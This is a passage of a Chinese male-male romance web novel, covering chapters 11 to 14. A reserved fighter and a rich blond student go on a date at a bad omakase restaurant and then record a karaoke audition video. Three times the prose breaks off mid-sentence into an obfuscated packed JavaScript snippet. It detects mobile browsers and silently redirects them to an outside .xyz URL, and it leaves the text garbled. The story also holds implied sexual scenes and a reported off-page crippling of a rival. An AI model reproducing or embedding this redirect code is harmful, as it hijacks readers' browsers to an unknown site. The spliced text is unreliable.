祝闻声的唇线紧绷着,却并没有像往常那样点头打招呼,反而脚步匆匆、径直上了楼。 二楼最前面的一间空宿舍收养了一条德牧,也一听见祝闻声的脚步声就开始摇尾巴,期盼他能进来喂自己吃东西,结果却发现那人今天似乎很着急,很快就越过了一帮比赛选手住的单间,回到了他独立的休息室。 关上大门,四周黑暗。 祝闻声倚上门板,终于平复了一下鼓噪的心跳,攥住了那件被陶真穿过的黑色卫衣深深嗅了一口,冷淡而克制的俊脸上有着显而易见的失神。 明明只披了一会,却溢满了少年身上浅淡的香气。 也许是他着了魔,陶真那张漂亮的笑脸在他脑海中挥之不去;在唇瓣亲上他下巴的瞬间,他就忘了避开,浑身的肌肉只感觉到了柔软的手臂、纤细的腰肢,笔直而饱满的双腿…… 这些细微而诱惑的瞬间循环播放,诡异地,激起了祝闻声的欲.望。 他的喉结上下滚了滚,单手解开衬衫,光裸着上半身,提着黑色卫衣进了浴室。 皮带才刚发出“咔嗒”的一声,手机就响了。 “……” 看了眼来电人,祝闻声并不是很想在这个时候接。 他打开水龙头,哗啦啦的水流顺着他坚实的肩背一路流淌,从线条分明的鲨鱼肌往下,越过了布满青筋的小腹,没入了未曾来得及全部褪下的底裤里。 祝闻声攥住那件黑卫衣的手有些用力。 电话自动挂断,又响了第二遍。 祝闻声捋了一把被水流沾湿的黑发,锋利的眉宇间有几分戾气,更显深邃。 他摁下接通,声音冷淡且低哑:“说。” “大少爷,好歹也是让我办事,对我态度好点行么?”赵钊玩世不恭的声音从电话那头响起,像是抱怨又像是邀功,“你吩咐小人去处理的人已经解决完了,跟做PDF比起来,我还是觉得把他搞成废物更简单一点。” “其实我觉得很奇怪,这种人平常你根本不会多搭理一眼的。那陶真到底是什么天仙下凡啊,值得你帮忙出头,还这么大动肝火?” “哎……你在洗澡吗?等会,你刚刚那个声音……” 祝闻声忍得额头青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775763|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋都在跳,慢条斯理地呼出一口气:“没什么事就挂了。” “操!”赵钊惊叫一声,“你旁边还真有人?你干嘛呢你——” 祝闻声挂了电话。 压制过的汹涌情潮上涌,金发少年的笑颜在脑海里一帧帧定格浮现,欲.望也随之起伏,在漫长的一段时间后才达到顶点。 浴室里的水声淅淅沥沥地响了一个多小时。 祝闻声赤足走了出来,垂下眼。 最终还是没把那件黑色卫衣扔进洗衣机。 …… 翌日清晨,祝闻声提前了两个小时来到训练室,把昨晚缺的时间补回来。 练到一半时,满身酒气的赵钊大咧咧地闯进了俱乐部,在看见他的瞬间眼睛一亮:“果然被我抓住了!快点坦白,你昨天到底在干嘛?铁树开花,仙人掌发芽啊,你是不是跟那个陶真已经……” “肯定被我猜中了。想不到啊想不到,你竟然也有这一天,我还以为你会孤家寡人一辈子呢——” 祝闻声正在做蹲举,一组八次,一共做八组。因为是简单训练,所以只上了1.5倍的体重。 少年长着一张俊美冷淡的脸,力量却强的可怕吓人,即使重量不低,却依然脸色平静,仿佛要靠训练压制下什么东西。 直到组间休息的三分钟里,他才分心看向赵钊,淡淡道:“难得看你起这么早。” 赵钊挥挥手:“起什么?老子根本没睡,才通宵完过来的。快点回答我问题行吗!” 祝闻声语气微凉:“我和他之间,不是你想的那样。” “那是怎么样?别告诉我你圣母心发作了,我可不相信!” 赵钊喋喋不休地追问,祝闻声一直都没开口,继续做蹲举。 到最后,几个小时的训练结束,眼下挂着一圈青黑的赵钊已经去了半条命了,祝闻声才顾念起他刚刚不断重复的“兄弟恩情”,勉强将人提着,一起去楼下吃营养餐。 赵钊平日里哪里吃过这么清汤寡水的东西,愤怒地摔了筷子:“祝闻声!你这儿的饭简直比那家Omakase还难吃!” 赵钊说的是一家他一生黑的米其林餐厅,那家店的老板是他国际高中的同学。 请来的主厨用鼻孔看人,口味怪癖,关键是上厕所回来的时候貌似没洗手。 “是吗?”祝闻声面无表情地吃了一块只有食材本味的西兰花,“那你可以考虑去吃那家。” “……那还是算了,当我没说。” 赵钊憋屈地捡起筷子,麻木地吃完一顿快把他吃吐的饭,还在对祝闻声的情感状况耿耿于怀。 而在被他追问第无数次后,祝闻声终于丢下了手里的壶铃,站在原地呼出一口气。 高挑的少年肌肉极漂亮,坚实而有力,只是俊美的脸冷着,看起来像是生气了。 赵钊感觉玩脱了,缓缓闭上嘴:“我错了,不问了就是了……” 祝闻声却往他的方向走了一步。 迟疑了那么久,都还没有来得及面对自己的内心和现状。 也许,现在,他也该承认这个事实了。 “如你所说,我确实跟陶真有关系。” 祝闻声沉默片刻,在赵钊饱含期待的目光中,平静地将下半句话补全:“我被他包/养了。” “我应该,是他养在外面的小白脸。” 空气陷入了几秒的死寂。 赵钊猛地闭上了双眼,喃喃自语般说:“我该睡了,我真的该睡了。” 祝闻声:“……” 12. 第 12 章 迎新会这天的小雨过后,南城的天气凉了几度,新学期也正式拉开了帷幕。 南城大学里,“欢迎新同学”的红底黄字横幅几乎挂满了道路两侧的大榕树,社团招新摊更是把人行道挤得水泄不通,四周的交谈声、喧哗声、欢笑声不绝于耳。 陶真无暇顾及卖力发着宣传单的学长学姐们,只推着手里两个粉红色的大箱子,往女生宿舍楼下走。 前段时间在迎新群里就跟他加了好友的女生,贾嘉,正大包小包地站在门口,一见到他就露出了个感激到哭的表情: “陶真!谢谢你!那个出租车司机真是气死我了,要不是你我都不知道该怎么办!” 金发少年抹了把额前的汗,露出了个灿烂的笑容,清脆的嗓子格外响亮:“这有什么,举手之劳。那种欺负女孩的老头就该挨点教训才是!” “呜呜呜呜,大家都去参加社团招新了,只有你愿意过来帮我,”贾嘉还是很感动,若不是男女授受不亲,真恨不得冲上去亲陶真一口,“耽误你这么长时间了,我等下请你吃饭吧?” “不用!”陶真依然笑着摇摇头,他身上的迪奥外套沾了许多灰,他却根本没在意,只是随手掸了掸。 见状,贾嘉心里更加过意不去,她匆忙将行李推回了宿舍,拿了几张湿纸巾出来给陶真:“那至少让我陪你一块儿去招新摊那边逛一圈吧?我认识好几个学生会的学姐,你想参加哪个部门?我都能为你介绍!” 陶真其实对这种学校里的小团体并不太感兴趣,但他不好几次三番地拂了女孩的好意,便应了声,和她一块儿去招新摊。 刚刚没来得及仔细看,这会儿他才发现,道路两侧还摆放着各种印着社团名称的KT板,从青年志愿者协会、科技创新协会这种“正经”的,再到cosplay和动漫社这种“不正经”的,热热闹闹、互不干扰的坐落在街道两侧,颇有一种百家争鸣、百花齐放的意味。 原本只是过来凑个热闹,这会儿陶真却有些认真了。 他的目光慢慢地从各个摊位上滑过,最后落在某一个上,在看清那上面的文字后,死死定住不动了。 “哎陶真,我看见我认识的学姐了,我们……” 贾嘉扬起手挥了挥,正要笑着回头拉陶真一块过去,便见他仿佛被施了定身咒一样站在原地,直勾勾地望着一个排起长龙的招新摊。 女孩有点懵,顺着他的目光往那儿望去,有点好奇地眨了眨眼。 “诶?陶真,原来你喜欢音乐呀?” 陶真猛地回神,像是被烫到了一样收回了目光,手足无措地扣了一下自己的衣角,讪讪道:“不…我就是…嗯……” 他吞吞吐吐道:“……我就是看一下。你知道为什么这个音乐社周围的人那么多吗?” 贾嘉“哦”了一声,立刻被分散了注意力:“你问我算是问对人了!我还认识一个音乐社的学姐,她和我说他们社团很牛逼,不仅可以承办学校的活动,近距离听很多堪比专业歌手的演出,而且福利也很好,团建、游戏一个都不少。” “最关键的是什么,音乐社主打一个开心就好,进入的门槛并不高,只要是真心喜欢音乐、不是来混学分的,就算是个音痴也能进!” 她说得眉飞色舞,陶真的眼睛也渐渐地亮了起来,尤其是听见最后一句时,更是情不自禁地攥紧了手。 向来大大方方的金发少年总是一副没心没肺的样子,唯有此时此刻,神态间几乎有些小心翼翼的谨慎。 贾嘉只以为他是因为唱歌难听所以才这么犹豫,露出个安慰的笑容,直接拉着他一块往音乐社的方向走:“哎呀,别不好意思,我从小就五音不全,但我还想参加一下呢!走吧走吧,咱们一起去看看呗。” 陶真纠结了两秒,用力地点了点头,跟她一块站到了队伍末尾,眼睛亮晶晶地盯着最前面,几乎屏息凝神。 今天只是初步报名而已,大家排队填表格的速度都很快,不一会儿就已经轮到了他们。 负责迎新的学姐语气特别温柔,将纸和笔推到他们跟前,同时和他们介绍了音乐社面试的流程: “大家也知道我们音乐社的报名人数非常多,如果要线下面试的话,可能会花费大家大半天的时间。所以我们的面试方式是线上,每个想要报名的同学需要录制一段自己清唱的视频发到这个邮箱里,并附带一段想申请进入音乐社的理由,时间截止到下周一。” “我们会在两个工作日内出结果,到时候会以短信方式通知哦。” 这个社团的面试,甚至不需要在数百人的面前当场表演。 陶真心中一松,彻底没了顾虑。他接过笔,一笔一划地写完自己圆滚滚的名字,这才在衣角蹭了蹭自己满是汗的手心:“谢谢学姐!” 招新摊的学姐冲他摇摇头:“不用谢。欢迎每个喜欢音乐的人加入我们。我们不需要你足够好听,但需要你足够热爱。” 陶真愣了两秒,忽然一股热流从心底冒了出来,加速地流遍了他的全身,带来了一阵沸腾的酥麻。 也许,他真的可以试一试,就从这里开始。 几秒后,陶真笑了起来,清澈透亮的狗狗眼弯起,浅粉的唇瓣张开,露出两颗明晃晃的小虎牙:“嗯!” 周围众人都这个笑容晃了神,就连贾嘉都怔了半晌。 不远处一个正在跟同伴聊天的斯文青年更是停下了手里的动作,目不转睛、直勾勾地朝陶真望了过来。 陶真却对这一抹视线浑然未觉,满心满意都沉浸在发现音乐社的喜悦之中。 恰好贾嘉要去跟自己认识的学姐打招呼,他便跟女孩告了别,乐滋滋地绕出了音乐社的招新摊位。 唔,面试应该唱一首什么歌比较好? 这种面试视频能自拍吗,是不是他拍比较好呢? 要不然给祝闻声打个电话吧,问他有没有空跟自己出来…… 想到这儿,陶真掏出手机点开了拨号页面。然而,他还没来得及摁下去,迎面就撞来了个戴着眼镜的斯文青年。 那青年一把捞住了踉跄两步后退的陶真,扶着他站定,然后才礼貌地笑起来:“抱歉,这周围人太多了……诶,我刚刚好像在那边看过你,你报名了音乐社吗?” 陶真抬起头,他现在心情很好,所以哪怕莫名其妙被撞了一下,脸上依旧带着笑:“对!你也报名了吗?” “不,我是音乐社上级——大学生艺术团的副部长,我叫白宇轩,”离得近了,白宇轩更加细致地将陶真打量了个遍,饶有兴致地说,“你叫什么名字?” 陶真从小到大交友无数,只大大方方地回答:“白部长好,我叫陶真。” “陶真……哇,你名字真可好听。” 白宇轩的眼睛微微眯了起来,冲他晃了晃手机,“加个微信怎么样?对音乐社有什么不懂的事情、不满意的地方,都可以直接跟我联系哦。” 陶真一直就被他爸灌输“多个朋友多条路”的理念,闻言爽快地掏出了手机跟白宇轩互加了好友。 在看见白宇轩的头像是一个红色的拳套时,他才“唔”了一声,产生了几分兴趣:“你喜欢拳击?” 白宇轩颇有点春风得意地点了点头:“嗯,我认识不少拳击社的人,对这项运动也有一点了解。你呢,也喜欢吗?” “我还好,”陶真笑着退出了资料卡页面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775764|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给祝闻声打了个电话,“主要是我养的人,他也是打黑……呃,练拳击的。” “而且他也跟你一样,看起来斯斯文文,像个部长一样。” 白宇轩敏锐的意识到了一些不对劲:“养的人?” “啊!不是不是……” 陶真犹豫了一下,包养这种事到底不能让太多人知晓,他换了个说法:“准确点说,我男朋友。” 白宇轩的身体僵了僵,过了几秒,忽然被一阵脑海里的电流劈松:“男朋友……” 下一刻,他看向陶真的目光中更多了几分热切的滚烫,也多了几分耐人寻味的深意: “那很巧了,你看我跟你男朋友是不是还挺有缘的?” “……” 陶真握着手机,忽然抬起头,神色有些复杂地看了一眼白宇轩,不动声色地把手机拿远了些:“还、还好吧。” 白宇轩笑起来,似乎还想说什么。 可陶真心中警铃大作,顾不上多聊几句社团的事,匆匆忙忙地说了声再见,就在他依依不舍的眼神中抱着手机跑远了,离开了招新摊。 太可怕了! 这人根本没见过祝闻声,竟然就敢出言调戏他! 陶真用力地锤了一拳街边的大树,心里愤愤,连“嘟嘟”的通话等待声结束都没发现。 直到祝闻声用那清冷好听的嗓音喊了他好几声:“陶真?” 陶真才猛地回神,甜甜地问:“嗯!你忙完啦?今天酒吧里人多不多呀,你累不累啊?” 刺目的白炽灯下,八角笼中,周围躺了一圈被打趴下的少年。他们每个人都像破风箱一样喘着气,惊恐且畏惧地看着祝闻声。 祝闻声淡淡地扫了一眼众人:“不多,很轻松。” “好吧……可是马上就开学了,你又要上课,又要上班,很难平衡,得考虑暂时放下酒吧的兼职了啊。” 祝闻声抬腿,一个低扫把好不容易爬起来进攻的少年撂倒,一拳砸上那人的脸侧,回答得言简意赅:“嗯,知道。” 陶真松了口气:“你放心,我养得起你。如果在工作里遇到那些胆敢欺负你、调戏你的人,你就直接打回去,医药费我来赔!” 一众少年浑身瘫软地趴在地上,只能靠着顽强的意志力爬起来,却在下一秒重新被重重地揍倒。 “没人会欺负我,”祝闻声甩了甩手臂,顿了几秒才说,“陶真,其实我没有你想象当中的那么穷……” “好好好,我知道你有钱。” 陶真打断他,语气充满怜惜,显然完全没有把他的强调当真,“那我明天接你去约会,你有空吗?” 祝闻声真的不知道这个社会到底怎么了,为什么说真话还要被怀疑。 他踢了一个试图从背后偷袭他的少年,放弃了在电话里跟陶真解释,打算明天用实际行动证明:“有空。” “明天我来买单。” 陶真微微睁大眼,显然有些不赞同。 但他舍不得几次三番地下小男友的面子,只好“嗯嗯”地应了声,转头去定了一家最近在社交媒体上特别火爆的Omakase餐厅。 听说这家Omakase的主厨是从国外请来的海归,虽然脾气很傲,但口味特别高级,做什么食物都有一股原始狂野的食材本味…… 他不懂,但想带小男友过去一起尝尝。 陶真收回手机,准备回家。这才发现自己砸树的那只手已经被磨红了,白皙的指节火辣辣地疼。 他嘶哈地吹了好一会,又叹了一口气。 可怜又纯情的祝闻声啊,对周围这些豺狼虎豹一无所知,要不是有自己保护着,不得给别人欺负死? 13.第 13 章 “可怜”的祝闻声挂断电话,顺势将手机扔到了一边。 趁着这个机会,有人咬紧牙关,猛地扑了上来,试图用断头台缠住他。可惜下一秒就被他迅速地反应过来,一个侧身闪过,反手摁住了,好好地解释了一番什么才叫真正的“断头台”。 果然,短短的几秒之内,那人就已经翻起了白眼、只能疯狂无助地拍打着一旁的地面。 祝闻声这才松开了钳制,不轻不重地拍了拍那人的肩膀,翻身从笼内出来。 他拿起手机,淡淡地扫了一圈,撂下两个字:“加练。” 八角笼内鸦雀无声。 所有崇拜他的人连大气都不敢出,每个人都被打成了小鸡仔,只敢用余光战战兢兢地目送着他上了二楼。 祝闻声回到房间。 他打开了跟陶真的聊天界面,盯着刚刚结束不久的通话记录看了半晌,过了好几秒,随手将上身的黑背心脱下,进浴室开了花洒。 水流顺着他线条分明而结实的肌肉往下,一路流淌过布满青筋的小腹,勾勒出某个蛰伏恐怖的物什。 水声淅淅沥沥,过了许久,他才从浴室出来。 高冷俊美的少年低下头,终于把那件已经没任何味道的黑色卫衣也扔进了洗衣机。 …… 翌日是周六。 陶真很早就起了床,站在衣柜前认真地挑选了一番,选定了一套范思哲白金相间的男装,搭配了一条闪着耀眼光芒的项链,以及一副大得能遮住他半张脸的墨镜。 成功地把自己打扮成了一个金光闪闪的暴发户后,他才乘车去了Light酒吧门口,潇洒地降下了车窗。 在看见黑发黑衣的少年走出来时,陶真兴高采烈地挥了挥手:“祝闻声!” 被喊到名字的黑发少年步子一顿,快步上前。 车门打开,他长腿一迈,微微抻直了裤腿,十字架的印花登时显露了出来。 “今天去哪?” 十字架,克罗心,一条牛仔裤要十来万。 赵钊有一段时间特别迷恋这个牌子,一口气买了好多,结果等配货到了却又不喜欢了,只能腆着脸到处送。 祝闻声以前从没穿过,今天出门前好不容易才从衣帽间里翻出来。 “先去吃饭,然后去KTV一趟,因为我有个社团面试视频要拍,之后看你想去哪儿,都可以。” 陶真的鼻尖微微皱了一下,取下自己的墨镜,看向祝闻声的腿,“你这条裤子……” 祝闻声微微侧目。 “在哪儿买的!真是一群黑心商家,就知道欺负人!”陶真大怒,“你看看,这刺绣边全都起毛了!” “……” 见祝闻声沉默,陶真才后知后觉地反应过来:“哦,这个毛边是人家的设计吗?那还挺好看的哈哈哈……” 祝闻声个高腿长,完全就是男模身材,无论什么衣服上他的身都很好看,跟个行走的种草机似的。 金发少年笑起来,双眼湿漉漉地弯起,语气甜蜜活泼: “有链接吗,我回头也给我爸也买一条。” 祝闻声闭了闭眼,岔开了这个话题:“有想好去哪个餐厅吗?” 陶真点点头,看向祝闻声的目光有些无奈:“想好了,但,你其实不用一定坚持请我吃饭……” 祝闻声淡淡道:“是哪一家?” 陶真没法,只好把自己昨天预订好的Omakase给祝闻声看了一眼。 然而就这么一眼,祝闻声的目光凝住了。 这家Omakase不是别的,正是昨天赵钊骂骂咧咧了半晌的那家—— 主厨不仅口味怪癖,上完厕所回来还不洗手。 “……能不能,”祝闻声顿了顿,“换一家别的餐厅?” 陶真却不知想到了什么,露出一个怜惜的目光:“不用换,我昨天已经提前买过单啦。” 祝闻声:“……” 二人交谈的同时,车辆也越过了南城大学边汹涌的人潮,在繁华的商圈内停下。 “嘟嘟”的鸣笛声和人们交谈的欢声笑语融杂在一起,颇有种人间烟火的意味。陶真弯着眼,仰着一张红扑扑的笑脸看他,双眸澄澈,像是纯洁的小动物。 总是叼来亮晶晶的东西打扮自己,跟求偶开屏的小孔雀一样。说到底,没什么心机。 祝闻声冷淡俊美的脸上有一瞬的松动,浓黑阴郁的睫毛垂下。 说不清为什么,他放弃了辩驳,只是自然而然地跟上了陶真的步子,进餐厅入座。 餐厅内极其昏暗,明明这会是正午,却从四处开了灯,把氛围打造得像是盘丝洞。 长桌上就只有零星几个客人,用鼻孔望人的主厨跟从前一样,端着一条死不瞑目的金枪鱼转了一圈,转头开始在操作台上一通胡乱操作,端上了一颗成年人大拇指头差不多大的“金枪鱼泥佐樱桃鹅肝泡沫慕斯”。 一早上没吃饭的陶真已是饥肠辘辘,拿了慕斯,没多怀疑就直接张开了嘴。 下一秒,猛烈冲击的生肉味和黏腻的口感在口中爆开!他顿时感觉自己被人重重打了一拳,头晕眼花,好不容易才忍下了这股呕吐的冲动。 但他没来得及缓冲太久,主厨的下一道菜就来了,“生腌甜虾海胆奶油酱鲍鱼”。 陶真这次迟疑了半晌,才勉强夹起鲍鱼壳,尝了一点点鲍鱼上面的奶酱。 不远处,一对嘴快的情侣没忍住:“呕——” 陶真的太阳穴跳了跳,果断放下了手。 台上的主厨像是因为那对情侣不礼貌的反应生气了,重重地摔了一下手里的鱼肉,向他的方向看了过来。 陶真立刻像上课被老师点到名那样低下了头。 正在他硬着头皮准备将这道菜咽下去的时候,就忽然感觉自己的手腕被一只粗粝滚烫的大掌捉住。 细密的电流从二人身体相触的地方一路上涌。 陶真的呼吸乱了一拍,只感觉一道温热的呼吸喷洒在他的颈间,少年低哑的声音响起: “过敏,忘了?” “……” 陶真忽然悟了,丢下了手里的鲍鱼壳,重复道:“是啊,怎么就忘了我海鲜过敏,不能吃了呢。” 主厨收回了目光,动作也温柔了许多。 陶真松了口气,转头望向身侧的祝闻声。 两人之间的距离很近,鼻尖几乎快要亲昵地撞到一起,温热的呼吸缓缓地滑过皮肤,留下一连串颤栗的酥麻。 祝闻声被这点酥麻撞得有些不自在,情不自禁地抬起眉梢,压眼的阴影淡了许多,漆黑如墨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782769|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼底独独映着陶真的影子。 下一秒,笑弯了眼的陶真毫无心机地贴上他的耳朵,撒娇一样说悄悄话:“祝闻声,你好聪明啊,真厉害呀。” 更像那种看起来冷冷淡淡、不叫一声,实则对主人贼贴心的大猫了。 “……” 咚,咚咚。 猝不及防地,祝闻声的喉结用力滚了滚,猛地坐直了身子。 然而,他的脑海里却止不住地回播着刚刚的画面。陶真的嘴唇是粉色的,偶尔张口时露出的舌尖嫣红,像是藏在丛林深处的嫩心浆果。 柔软,嫩生生的。 让人情不自禁地想去尝一尝,看味道是不是跟想象中一样甜蜜。 之后的两个小时内,餐点陆陆续续地上了桌,主厨还是稳定发挥,一道比一道难吃,陶真和祝闻声两人干脆从头过敏到尾。 直到最后,服务员小姐姐开始上结束的甜品,抹茶冰淇淋,现场的所有客人才如释重负。 陶真刚迫不及待地接过甜筒,就见祝闻声收起了正在发消息的手机,对服务员摇了摇头。 他情不自禁地睁大了眼,小声说:“为什么不要呀?这是今天唯一一个能吃的东西……” 祝闻声平静地说:“格斗要控制饮食。” 陶真恍然大悟,对祝闻声的自律感到由衷的敬佩。 两人一块出了那家日料店,步行着去隔壁的商场。还没走到目的地,陶真的手机就忽然响了一声,上面显示退款金额到账。 陶真疑惑地“嗯?”了一声,怕人家是不小心弄错了,赶快停下步子打了个电话回去。 那头的女声说:“是这样的陶先生,考虑到您和同伴今天对几乎所有菜品都过敏,所以我们现将金额全部退还给您,希望您的用餐体验愉快……” 陶真再三询问会不会影响女孩他们的薪酬,得到了否定的答案之后才放下了心,笑得露出了自己的小虎牙:“那也实在是退的太多了,这样吧,我再给你们……” 这会才九月初,碧空如洗,烈日当空,地上依然蒸腾着热气。 生动活泼的金发少年笑意盈盈,唇红齿白,手里举着的抹茶冰淇淋有些融化,顺着蛋筒的边缘流淌,粘上了他细白的手指。 祝闻声盯着那抹颜色看了几秒,准备从口袋抽出向来随身携带的手帕纸。 退钱,是他意料之内的事。 陶真这个人,却一向都不在他的意料之内。 “唔,我其实觉得今天的菜……” 陶真自己也注意到了指尖的黏腻,但他还在讲电话,没有办法擦,只好把求助的目光投向了祝闻声,做了个口型。 ——求求你啦,帮我一下。 “嗡”地一声。 祝闻声的心脏不受控制地剧烈跳动了起来,将陶真祈求的可怜表情尽收眼底,一阵难以形容的情绪在胸口翻涌。 格斗选手要克服本能,放弃许多喜欢的东西,学会控制自己。 祝闻声一直都做的很好。 但此时此刻,他很想尝陶真的味道。 几秒后,说得兴高采烈的陶真忽然一惊,声音戛然而止,茫然地抬起眼—— 俊美的黑发少年低下头,浓黑的睫毛垂下一片墨色的阴影,伸出舌尖,开始舔他指尖融化的冰淇淋。 14.第 14 章 指腹的触感温热滑腻,后背倏地爬上了一阵颤栗的酥麻,陶真情不自禁地瞪大眼,仿佛被叼住后颈的小动物。 他本能地想抽回手,可下一秒就对上了黑发少年那张俊美而冷淡的脸,脑袋里霎时一片空白,忘了自己原本的动作,僵僵地站在原地。 一时间,空气安静下来。 电话那头的女孩不明所以,还在滔滔不绝地讲着餐厅和服务:“所以我们这边也计划在未来的一年之内……” 祝闻声舔净了陶真指尖的冰淇淋液,才站直了身子,侧脸的神色淡然如常。 他低下头从口袋抽出了一张手帕纸,替陶真擦掉了那点透明润泽的水光。 好像这只是一件再正常不过的事情。 陶真却匆忙地挂断电话,几乎不知道自己跟人家胡乱说了些什么梦话,那双形状圆圆钝钝的双眸用力地眨了眨,乌溜溜的:“祝闻声,你为什么……” 祝闻声垂下了目光,喉结滚了滚。 舌尖残留着浅浅的抹茶香,以及金发少年指腹的温热。 “……你为什么还要舔化掉的甜筒呀,那都不好吃了!”陶真踮起脚,将那个冰淇淋送到祝闻声跟前,秀气的眉头皱紧,“我本来就是想让你拿着帮我吃一些的!” “我知道你打黑……黑人,需要严格控制饮食,但也不至于那么严格吧?呐,直接尝一口嘛。” 祝闻声安静了几秒,淡声说:“我已经尝到了。” “你那个算什么呀,就只舔到了那么一点点……” 陶真有点焦急,把冰淇淋举得更高了一些。 本来没有钱就很辛苦了,还要因为打黑拳而控制饮食,更是一点好的都不能吃,也难怪祝闻声低下头可怜巴巴地舔走那点落下来的甜汁了。 他完全没想过祝闻声可能是为了占他的便宜。 祝闻声可是连亲一口下巴都接受不了的直男啊,跟冷淡不近人的猫科动物一样,能有什么坏心思呢? 陶真眼巴巴地说:“尝一口嘛,你再尝一口,真的很好吃的!” 他小学的时候经常跟顾行舟和佟夏一起吃冰淇淋,一次买一大堆,到最后吃不完,佟夏就会仗着男女授受不亲而跑路,只留下他和顾行舟大眼瞪小眼。 虽然现在的情况不同,但他的话术还是从那时候学来的。 “祝闻声,你尝一口嘛——” 祝闻声盯着陶真说话时一张一合的粉嫩唇瓣看了几秒。 最终,他还是被蛊惑了,不由自主地低下了头,就着陶真的手,轻轻地舔了一口。 “怎么样?”陶真这才放下心来,笑眯眯地收回了手,毫无芥蒂地继续吃,“我是不是没有骗你呀?” 祝闻声咽下那丝丝缕缕的甜,眸光落在陶真嫣红的舌尖上,低低地“嗯”了一声。 没骗。 陶真的味道,确实很甜。 午后阳光暴晒,两人很快就进了阴凉的商场,找到陶真前一天晚上就定好的KTV。 前台替他们开好了VIP包间,这儿的环境很好,除了宽大舒适的真皮沙发和四面无比清晰的显示屏外,还额外设置了茶水台、台球桌,独立的卫生间。 灯可以调成动感浪漫模式,却也可以设置成常亮模式,整个房间内的氛围和隔音都很好,也不用担心被别人打扰,是个绝佳的录视频场所。 陶真挺满意的,笑着跟前台说了谢谢,等包间的门关上,才走向了点歌台,伸手在屏幕上快速地戳了戳,输入歌曲名称。 祝闻声向来唱歌没有太大的兴趣,便站在不远处架好手机,盯着陶真被屏幕荧光照得莹白的侧脸。 金发少年很认真地输入完,满怀期待地摁下搜索,却没有得到想要的结果,睫毛快速地眨动了一番,露出了一个微不可见的沮丧表情。 这种神色实在是难得一见。 他像是某种被雨淋湿的小动物,一向挂着的笑容消失了不说,还微微抿紧了唇,连尾巴也不摇了。 祝闻声心头一动,不自觉地靠近了一步,看清了屏幕上的搜索记录。 那是一首曲名极其复杂的法文歌,属于某个音乐剧。由于只当成插曲出现过一两次,所以比较小众,KTV里并没有收录。 若不是祝闻声曾经跟几个法国教练交流过一段时间,恐怕根本看不懂这串字母到底是什么意思。 这么难,又这么专业的曲子…… 陶真竟然会唱吗? 祝闻声情不自禁地微微抬起眼注视着陶真,眸光里多了几分不自觉的探究。 可他并没能成功听见法文歌。 因为陶真又一连输入了好几首音乐剧的插曲,KTV的搜索结果都是空白的。 金发少年呆呆地盯着空荡荡的屏幕,过了几秒才调整好心情。 算了,KTV嘛,又不是维也纳音乐厅,没有也很正常啊。 唱别的流行歌也是一样的,只要能通过社团的面试就好。 陶真退而求其次,点开了首页的“热歌榜”,上下浏览了一遍,点了几首陶大俊的最爱,拿出艺考时的架势规规矩矩地站好,深吸了一口气。 然而,当音乐声响起的瞬间,祝闻声忽然开口,声音被周围的杂音滤得低磁且性感:“陶真,我开始录了。” 陶真猛地回神。 他原本平稳的呼吸忽然乱了节拍,心脏也扑通扑通地狂跳了起来,下意识地捏紧了手中的话筒:“等、等一下!” 不远处的祝闻声依言照做,只是微微侧过身,暖色黯淡的灯光将他冷峻的侧脸勾勒得有些朦胧,看起来几乎是温柔的:“怎么了?” “……” 陶真一时没说出话来,只是情不自禁地咽了下口水,有点后悔自己今天的安排。 太鲁莽了,太高估自己了。 本以为只是录一个视频而已,又不用在很多人的面前公开表演,很快就能搞定。可他没想到,仅仅只面对着一个祝闻声,只被一双眼睛盯着,他还是感觉压力山大。 艺考失败这件事,到底还是给他留下了心理阴影。 只要一想到有人在看自己唱歌,他就觉得浑身冰凉,嗓子发紧,又要重蹈覆辙。 “没怎么……”陶真硬着头皮笑了一下,面上看不出些什么,只是细细听,就会发现他的声音在发抖,“开始吧。” 祝闻声不动声色地蹙了下眉,还是摁下了录制键。 音乐声缓缓响起。 一道极为接地气的前奏滑过,“动次打次”的鼓点声紧随其后。 陶真张了张唇,本该顺畅无比地唱出第一句,却硬生生地卡了好半天,才含糊道:“兄弟你瘦了……” “变得疲惫了……” “ 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祝闻声的视线过了半晌才从陶真的脸上挪开,落在了不远处的点歌台上,思忖了片刻,打断道:“陶真。” 被喊到名字的金发少年猛地一顿,慢慢地放下了话筒。 KTV内的音乐声极其动感,模糊了两人的对话。 “啊,嗯,”陶真不自觉地扣了一下衣摆,笑着问:“怎么了吗?” 祝闻声安静两秒:“我先出去一会,等下回来,你先唱。” 陶真“哦”了一声,讪讪道:“好啊。” 